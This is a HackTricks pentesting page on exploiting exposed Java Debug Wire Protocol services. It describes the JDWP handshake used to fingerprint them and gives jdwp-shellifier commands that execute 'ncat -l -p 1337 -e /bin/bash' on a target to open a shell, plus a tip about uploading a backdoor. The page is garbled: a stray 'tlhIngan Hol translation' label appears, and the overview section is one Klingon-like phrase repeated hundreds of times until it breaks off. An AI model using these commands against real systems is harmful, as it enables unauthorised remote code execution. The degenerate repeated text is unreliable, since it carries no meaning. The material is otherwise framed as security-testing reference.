hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

Pentesting JDWP - Java Debug Wire Protocol

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Exploiting

JDWP exploitation hinges on the protocol's lack of authentication and encryption. It's generally found on port 8000, but other ports are possible. The initial connection is made by sending a "JDWP-Handshake" to the target port. If a JDWP service is active, it responds with the same string, confirming its presence. This handshake acts as a fingerprinting method to identify JDWP services on the network.

In terms of process identification, searching for the string "jdwk" in Java processes can indicate an active JDWP session.

The go-to tool is jdwp-shellifier. You can use it with different parameters:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

tlhIngan Hol translation:

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.

1. JDWP Overview:

• 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ejDIv Hoch 'ej 'ej